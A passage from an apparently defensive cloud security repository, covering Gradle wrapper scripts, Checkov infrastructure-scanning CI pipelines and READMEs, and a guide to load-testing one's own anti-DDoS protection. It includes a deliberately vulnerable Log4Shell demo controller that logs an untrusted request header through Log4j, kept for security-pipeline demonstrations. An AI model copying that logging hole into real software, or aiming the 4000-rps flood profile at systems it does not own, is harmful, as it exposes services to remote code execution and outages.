# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit
APP_NAME="Gradle"
APP_BASE_NAME=${0##*/}
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Collect all arguments for the java command;
# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of
# shell script including quotes and variable substitutions, so put them in
# double quotes to make sure that they get re-expanded; and
# * put everything else in single quotes, so that it's not re-expanded.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
"$@"
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/gradlew.bat
================================================
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%" == "" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%" == "" set DIRNAME=.
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if "%ERRORLEVEL%" == "0" goto execute
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if "%ERRORLEVEL%"=="0" goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
exit /b 1
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/settings.gradle
================================================
rootProject.name = 'log4shell-vulnerable-app'
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java
================================================
package fr.christophetd.log4shell.vulnerableapp;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java
================================================
package fr.christophetd.log4shell.vulnerableapp;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class VulnerableAppApplication {
public static void main(String[] args) {
SpringApplication.run(VulnerableAppApplication.class, args);
}
}
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/src/main/resources/application.properties
================================================
================================================
FILE: terraform-sec/checkov-yc/.gitlab-ci(audit_mode).yml
================================================
stages:
- checkov-test-files
- tfplan
- checkov-test-tfplan
- tf-apply
#Checkov test terrafrom files
checkov-test-files:
stage: checkov-test-files
allow_failure: false # True for AutoDevOps compatibility
image:
name: bridgecrew/checkov:latest
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
rules:
- if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH
exists:
- '**/*.yml'
- '**/*.yaml'
- '**/*.json'
- '**/*.template'
- '**/*.tf'
- '**/serverless.yml'
- '**/serverless.yaml'
script:
# Use `script` to emulate `tty` for colored output.
- script -q -c 'checkov -d . --soft-fail; echo $? > CKVEXIT'
- exit $(cat CKVEXIT)
#Terraform generate plan
tfplan:
stage: tfplan
allow_failure: false # True for AutoDevOps compatibility
image:
name: hashicorp/terraform:light
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
script:
# Use `script` to emulate `tty` for colored output.
- terraform --version
- cp ./.terraformrc ~/.terraformrc
- terraform init
- terraform plan -out tf.plan
- terraform show -json tf.plan > tf_plan.json
artifacts:
paths:
- tf_plan.json
name: tf_plan.json
#Checkov test terrafrom plan file
checkov-test-tfplan:
stage: checkov-test-tfplan
allow_failure: false # True for AutoDevOps compatibility
image:
name: bridgecrew/checkov:latest
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
rules:
- if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH
exists:
- '**/*.yml'
- '**/*.yaml'
- '**/*.json'
- '**/*.template'
- '**/*.tf'
- '**/serverless.yml'
- '**/serverless.yaml'
script:
# Use `script` to emulate `tty` for colored output.
- script -q -c 'checkov -f ./tf_plan.json --soft-fail; echo $? > CKVEXIT'
- exit $(cat CKVEXIT)
#Terraform apply
tf-apply:
stage: tf-apply
allow_failure: false # True for AutoDevOps compatibility
image:
name: hashicorp/terraform:light
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
script:
# Use `script` to emulate `tty` for colored output.
- terraform --version
- cp ./.terraformrc ~/.terraformrc
- terraform init
- terraform plan # change to apply in prod
================================================
FILE: terraform-sec/checkov-yc/.gitlab-ci(blocking_mode).yml
================================================
stages:
- checkov-test-files
- tfplan
- checkov-test-tfplan
- tf-apply
#Checkov test terrafrom files
checkov-test-files:
stage: checkov-test-files
allow_failure: false # True for AutoDevOps compatibility
image:
name: bridgecrew/checkov:latest
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
rules:
- if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH
exists:
- '**/*.yml'
- '**/*.yaml'
- '**/*.json'
- '**/*.template'
- '**/*.tf'
- '**/serverless.yml'
- '**/serverless.yaml'
script:
# Use `script` to emulate `tty` for colored output.
- script -q -c 'checkov -d . ; echo $? > CKVEXIT'
- exit $(cat CKVEXIT)
#Terraform generate plan
tfplan:
stage: tfplan
allow_failure: false # True for AutoDevOps compatibility
image:
name: hashicorp/terraform:light
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
script:
# Use `script` to emulate `tty` for colored output.
- terraform --version
- cp ./.terraformrc ~/.terraformrc
- terraform init
- terraform plan -out tf.plan
- terraform show -json tf.plan > tf_plan.json
artifacts:
paths:
- tf_plan.json
name: tf_plan.json
#Checkov test terrafrom plan file
checkov-test-tfplan:
stage: checkov-test-tfplan
allow_failure: false # True for AutoDevOps compatibility
image:
name: bridgecrew/checkov:latest
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
rules:
- if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH
exists:
- '**/*.yml'
- '**/*.yaml'
- '**/*.json'
- '**/*.template'
- '**/*.tf'
- '**/serverless.yml'
- '**/serverless.yaml'
script:
# Use `script` to emulate `tty` for colored output.
- script -q -c 'checkov -f ./tf_plan.json; echo $? > CKVEXIT'
- exit $(cat CKVEXIT)
#Terraform apply
tf-apply:
stage: tf-apply
allow_failure: false # True for AutoDevOps compatibility
image:
name: hashicorp/terraform:light
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
script:
# Use `script` to emulate `tty` for colored output.
- terraform --version
- cp ./.terraformrc ~/.terraformrc
- terraform init
- terraform plan # change to apply in prod
================================================
FILE: terraform-sec/checkov-yc/.gitlab-ci(blocking_mode_with_specific_checks_in_audit).yml
================================================
stages:
- checkov-test-files
- tfplan
- checkov-test-tfplan
- tf-apply
#Checkov test terrafrom files
checkov-test-files:
stage: checkov-test-files
allow_failure: false # True for AutoDevOps compatibility
image:
name: bridgecrew/checkov:latest
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
rules:
- if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH
exists:
- '**/*.yml'
- '**/*.yaml'
- '**/*.json'
- '**/*.template'
- '**/*.tf'
- '**/serverless.yml'
- '**/serverless.yaml'
script:
# Use `script` to emulate `tty` for colored output.
- script -q -c 'checkov -d . --soft-fail-on CKV_YC_2,CKV_YC_11,CKV_YC_4,CKV_YC_24,CKV_YC_13,CKV_YC_23,CKV_YC_21,CKV_YC_5,CKV_YC_16,CKV_YC_10,CKV_YC_14,CKV_YC_7,CKV_YC_8,CKV_YC_6,CKV_YC_15; echo $? > CKVEXIT'
- exit $(cat CKVEXIT)
#Terraform generate plan
tfplan:
stage: tfplan
allow_failure: false # True for AutoDevOps compatibility
image:
name: hashicorp/terraform:light
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
script:
# Use `script` to emulate `tty` for colored output.
- terraform --version
- cp ./.terraformrc ~/.terraformrc
- terraform init
- terraform plan -out tf.plan
- terraform show -json tf.plan > tf_plan.json
artifacts:
paths:
- tf_plan.json
name: tf_plan.json
#Checkov test terrafrom plan file
checkov-test-tfplan:
stage: checkov-test-tfplan
allow_failure: false # True for AutoDevOps compatibility
image:
name: bridgecrew/checkov:latest
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
rules:
- if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH
exists:
- '**/*.yml'
- '**/*.yaml'
- '**/*.json'
- '**/*.template'
- '**/*.tf'
- '**/serverless.yml'
- '**/serverless.yaml'
script:
# Use `script` to emulate `tty` for colored output.
- script -q -c 'checkov -f ./tf_plan.json --soft-fail-on CKV_YC_2,CKV_YC_11,CKV_YC_4,CKV_YC_24,CKV_YC_13,CKV_YC_23,CKV_YC_21,CKV_YC_5,CKV_YC_16,CKV_YC_10,CKV_YC_14,CKV_YC_7,CKV_YC_8,CKV_YC_6,CKV_YC_15; echo $? > CKVEXIT'
- exit $(cat CKVEXIT)
#Terraform apply
tf-apply:
stage: tf-apply
allow_failure: false # True for AutoDevOps compatibility
image:
name: hashicorp/terraform:light
entrypoint:
- '/usr/bin/env'
- 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
script:
# Use `script` to emulate `tty` for colored output.
- terraform --version
- cp ./.terraformrc ~/.terraformrc
- terraform init
- terraform plan # change to apply in prod
================================================
FILE: terraform-sec/checkov-yc/README.md
================================================
# Checkov + Yandex Cloud
- [Checkov + Yandex Cloud](#checkov---yandex-cloud)
* [Intro](#intro)
* [Information about checks for Yandex cloud](#information-about-checks-for-yandex-cloud)
* [Examples of use in Managed Service for GitLab](#examples-of-use-in-managed-service-for-gitlab)
## Intro
**Checkov now supports Yandex Cloud terraform objects**.
[Checkov](https://github.com/bridgecrewio/checkov) is a static code analysis tool for infrastructure-as-code.
It scans cloud infrastructure provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts,Kustomize, Dockerfile, Serverless, Bicep, OpenAPI or ARM Templates and detects security and compliance misconfigurations using graph-based scanning.
Installation and usage instructions are available on the [checkov page](https://github.com/bridgecrewio/checkov#getting-started)
## Information about checks for Yandex cloud
You can find all checks in [source code](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks/resource/yandexcloud)
| № of check | Description|
| ------------- | ------------- |
| CKV_YC_1 | "Ensure security group is assigned to database cluster." |
| CKV_YC_2 | "Ensure compute instance does not have public IP." |
| CKV_YC_3 | "Ensure storage bucket is encrypted." |
Expand for viewing all checks..........⬇️
| № of check | Description|
| ------------- | ------------- |
| CKV_YC_1 | "Ensure security group is assigned to database cluster." |
| CKV_YC_2 | "Ensure compute instance does not have public IP." |
| CKV_YC_3 | "Ensure storage bucket is encrypted." |
| CKV_YC_4 | "Ensure compute instance does not have serial console enabled." |
| CKV_YC_5 | "Ensure Kubernetes cluster does not have public IP address." |
| CKV_YC_6 | "Ensure Kubernetes cluster node group does not have public IP addresses." |
| CKV_YC_7 | "Ensure Kubernetes cluster auto-upgrade is enabled." |
| CKV_YC_8 | "Ensure Kubernetes node group auto-upgrade is enabled." |
| CKV_YC_9 | "Ensure KMS symmetric key is rotated." |
| CKV_YC_10 | "Ensure etcd database is encrypted with KMS key." |
| CKV_YC_11 | "Ensure security group is assigned to network interface." |
| CKV_YC_12 | "Ensure public IP is not assigned to database cluster." |
| CKV_YC_13 | "Ensure cloud member does not have elevated access." |
| CKV_YC_14 | "Ensure security group is assigned to Kubernetes cluster." |
| CKV_YC_15 | "Ensure security group is assigned to Kubernetes node group." |
| CKV_YC_16 | "Ensure network policy is assigned to Kubernetes cluster." |
| CKV_YC_17 | "Ensure storage bucket does not have public access permissions." |
| CKV_YC_18 | "Ensure compute instance group does not have public IP." |
| CKV_YC_19 | "Ensure security group does not contain allow-all rules." |
| CKV_YC_20 | "Ensure security group rule is not allow-all." |
| CKV_YC_21 | "Ensure organization member does not have elevated access." |
| CKV_YC_22 | "Ensure compute instance group has security group assigned." |
| CKV_YC_23 | "Ensure folder member does not have elevated access." |
| CKV_YC_24 | "Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible." |
## Examples of use in Managed Service for GitLab
Prerequisites
- ✅ Instance of Managed Service for GitLab (or vm with gitlab)
- ✅ Registered runner on Compute Cloud VM
- ✅ A service account assigned to the virtual machine with the necessary rights for terraform deployments
**Global pipeline stages schema**:
- checkov-test-files (block or pass)
- tfplan generate
- checkov-test-tfplan (block or pass)
- tf-apply
Examples are divided into 3 different files of pipelines:
1. **blocking mode** ".gitlab-ci(blocking_mode).yml" - blocks pipeline if checkov find security misconfiguration(check failed).
2. **audit mode** ".gitlab-ci(audit_mode).yml" - NOT blocks pipeline if checkov find security misconfiguration(check failed) but you can see alerts.
3. **blocking mode with specific checks in audit mode** ".gitlab-ci(blocking_mode_with_specific_checks_in_audit).yml" - blocks pipeline if checkov find security misconfiguration(check failed) but skip specific non critical Checks.
================================================
FILE: terraform-sec/checkov-yc/README_RU.md
================================================
# Checkov + Yandex Cloud
- [Checkov + Yandex Cloud](#checkov---yandex-cloud)
* [Введение](#введение)
* [Информация о проверках Yandex cloud](#информация-о-проверках-yandex-cloud)
* [Примеры использования в Managed Service for GitLab](#примеры-использования-в-managed-service-for-gitLab)
## Введение
**Checkov теперь поддерживает объекты терраформ Yandex Cloud**.
[Checkov](https://github.com/bridgecrewio/checkov) это инструмент статического анализа кода для инфраструктуры.
Он сканирует облачную инфраструктуру, подготовленную с использованием Terraform, плана Terraform, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI или шаблонов ARM, и обнаруживает неверные настройки безопасности и соответствия требованиям с помощью сканирования.
Инструкции по установке и использованию доступны на [checkov page](https://github.com/bridgecrewio/checkov#getting-started)
## Информация о проверках Yandex cloud
Вы можете найти все проверки в [source code](https://github.com/bridgecrewio/checkov/tree/master/checkov/terraform/checks/resource/yandexcloud)
| № of check | Description|
| ------------- | ------------- |
| CKV_YC_1 | "Ensure security group is assigned to database cluster." |
| CKV_YC_2 | "Ensure compute instance does not have public IP." |
| CKV_YC_3 | "Ensure storage bucket is encrypted." |
Expand for viewing all checks..........⬇️
| № of check | Description|
| ------------- | ------------- |
| CKV_YC_1 | "Ensure security group is assigned to database cluster." |
| CKV_YC_2 | "Ensure compute instance does not have public IP." |
| CKV_YC_3 | "Ensure storage bucket is encrypted." |
| CKV_YC_4 | "Ensure compute instance does not have serial console enabled." |
| CKV_YC_5 | "Ensure Kubernetes cluster does not have public IP address." |
| CKV_YC_6 | "Ensure Kubernetes cluster node group does not have public IP addresses." |
| CKV_YC_7 | "Ensure Kubernetes cluster auto-upgrade is enabled." |
| CKV_YC_8 | "Ensure Kubernetes node group auto-upgrade is enabled." |
| CKV_YC_9 | "Ensure KMS symmetric key is rotated." |
| CKV_YC_10 | "Ensure etcd database is encrypted with KMS key." |
| CKV_YC_11 | "Ensure security group is assigned to network interface." |
| CKV_YC_12 | "Ensure public IP is not assigned to database cluster." |
| CKV_YC_13 | "Ensure cloud member does not have elevated access." |
| CKV_YC_14 | "Ensure security group is assigned to Kubernetes cluster." |
| CKV_YC_15 | "Ensure security group is assigned to Kubernetes node group." |
| CKV_YC_16 | "Ensure network policy is assigned to Kubernetes cluster." |
| CKV_YC_17 | "Ensure storage bucket does not have public access permissions." |
| CKV_YC_18 | "Ensure compute instance group does not have public IP." |
| CKV_YC_19 | "Ensure security group does not contain allow-all rules." |
| CKV_YC_20 | "Ensure security group rule is not allow-all." |
| CKV_YC_21 | "Ensure organization member does not have elevated access." |
| CKV_YC_22 | "Ensure compute instance group has security group assigned." |
| CKV_YC_23 | "Ensure folder member does not have elevated access." |
| CKV_YC_24 | "Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible." |
## Примеры использования в Managed Service for GitLab
Пререквизиты
- ✅ Instance Managed Service for GitLab (или ВМ с gitlab)
- ✅ Зарегистрированный runner на виртуальной машине Compute Cloud
- ✅ A service account назначенный виртуальной машине с необходимыми правами для развертывания terraform
**Схема этапов конвейера**:
- checkov-test-files (block or pass)
- tfplan generate
- checkov-test-tfplan (block or pass)
- tf-apply
Примеры разбиты на 3 разных файла пайплайнов:
1. **blocking mode** ".gitlab-ci(blocking_mode).yml" - блокирует конвейер, если checkov обнаруживает неправильную конфигурацию безопасности (проверка не удалась).
2. **audit mode** ".gitlab-ci(audit_mode).yml" - НЕ блокирует конвейер, если при проверке обнаруживается неправильная конфигурация безопасности (проверка не удалась), но вы можете видеть предупреждения.
3. **blocking mode with specific checks in audit mode** ".gitlab-ci(blocking_mode_with_specific_checks_in_audit).yml" - блокирует конвейер, если проверки обнаруживают неправильную конфигурацию безопасности (проверка не удалась), но пропускают определенные некритические проверки.
================================================
FILE: terraform-sec/remote-backend/README.md
================================================
# Terraform state in Yandex.Cloud using Object Storage and Yandex Database Serverless services
This examples shows how to store Terraform state in Yandex.Cloud using Object Storage and Yandex Database Serverless services.
https://github.com/yandex-cloud/examples/tree/master/terraform-ydb-state
================================================
FILE: vuln-mgmt/anti-ddos-lt/README.md
================================================
# Testing AntiDDos system using Yandex Load Testing
The solution allows you to test your AntiDDos system with [Yandex Load Testing](https://cloud.yandex.ru/docs/load-testing/)
**!!Important!!: Use this tool only to test your own infrastructure. Using a tool to load resources that are not yours may be a violation of the legislation of the Russian Federation and lead to negative consequences**
---
1) Prepare a test VM/service. For example, using the solution [Installing a Vulnerable Web Application (dvwa)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/vuln-mgmt/vulnerable-web-app-waf-test) or any other web service
2) Enable L7 DDos/Dos protection in Yandex Cloud using the service ["Yandex DDoS Protection: Extended protection"](https://cloud.yandex.ru/docs/vpc/ddos-protection/#advanced-protection) or enable protection from an external provider
---
(Extended protection works at levels 3 and 7 of the OSI model. In addition, you can track load indicators, attack parameters and connect Solidwall WAF in your Qrator Labs personal account. To enable advanced protection, contact your manager or technical support). Additionally, you can activate the WAF service (Web Application Firewall)
3) Ask your manager/architect/support to access the service [Yandex Load Testing](https://cloud.yandex.ru/docs/load-testing/)
4) Perform the initial setup of the service, agent according to the instructions [How to get started with Yandex Load Testing](https://cloud.yandex.ru/docs/load-testing/quickstart).
---
The agent configuration is selected based on the desired load of requests per second (rps)
All available configurations [presented here](https://cloud.yandex.ru/docs/load-testing/concepts/agent) (10,000rps - small, 20,000 - medium 40,000 - large)
5) In the service menu, click **Create test** and select **Setting method** - Config
6) Insert the following configuration (load at 4000 rps):
```Python
phantom:
enabled: true
package: yandextank.plugins.Phantom
address: your-test-app:80
ammo_type: uri
load_profile:
load_type: rps
schedule: step(75, 4000, 25, 2m)
ssl: false
uris:
- /
core: {}
cloudloader:
enabled: true
package: yandextank.plugins.CloudUploader
job_name: omgplease.tk
job_dsc: ''
ver: '1'
api_address: loadtesting.api.cloud.yandex.net:443
```
!Need to change port 80 to 443 if using https
7) Click **Create**
8) As a result, a load test will start, the report of which can be viewed by failing into the test and selecting the **Report** button
9) You will see an attack alert like **HTTP Misuse/Flood** on the target DDos protection system. HTTP attack. It is aimed at overloading the HTTP service with a large number of requests.
================================================
FILE: vuln-mgmt/anti-ddos-lt/README_RU.md
================================================
# Тестирование AntiDDos системы с помощью Yandex Load Testing
Решение позволяет вам протестировать AntiDDos систему с помощью [Yandex Load Testing](https://cloud.yandex.ru/docs/load-testing/)
**!!Важно!!: Используйте данный инструмент только для тестирования собственной инфраструктуры. Использование инструмента для нагрузки не ваших ресурсов может являться нарушением законодательства РФ и привести к негативным последствиям**
---
1) Подготовьте тестовую ВМ/сервис. Например с помощью решения [Установка уязвимого веб приложения (dvwa)](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/vuln-mgmt/vulnerable-web-app-waf-test) либо любой другой веб сервис
2) Включите защиту от L7 DDos/Dos в Yandex Cloud с помощью сервиса ["Yandex DDoS Protection: Расширенная защита"](https://cloud.yandex.ru/docs/vpc/ddos-protection/#advanced-protection) либо включите защиту от внешнего провайдера
---
(Расширенная защита работает на 3 и 7 уровнях модели OSI. Помимо этого вы сможете отслеживать показатели нагрузки, параметры атак и подключить Solidwall WAF в личном кабинете Qrator Labs. Чтобы включить расширенную защиту, обратитесь к вашему менеджеру или в техническую поддержку). Дополнительно можно подключить услугу WAF (Web Application Firewall)
3) Запросите у менеджера/архитектора/поддержки доступ к сервису [Yandex Load Testing](https://cloud.yandex.ru/docs/load-testing/)
4) Выполните первоначальную настрйоку сервиса, агента согласно инструкции [Как начать работать с Yandex Load Testing](https://cloud.yandex.ru/docs/load-testing/quickstart).
---
Конфигурация агента выбирается исходя из желаемой нагрузки запросов в секунду (rps)
Все доступные конфигурации [представлены здесь](https://cloud.yandex.ru/docs/load-testing/concepts/agent) (10 000rps - small, 20 000 - medium 40 000 - large)
5) В меню сервиса нажмите **Создать тест** и выберите **Способ настройки** - Конфиг
6) Вставьте следующую конфигурацию (нагрузка в 4000 rps):
```Python
phantom:
enabled: true
package: yandextank.plugins.Phantom
address: your-test-app:80
ammo_type: uri
load_profile:
load_type: rps
schedule: step(75, 4000, 25, 2m)
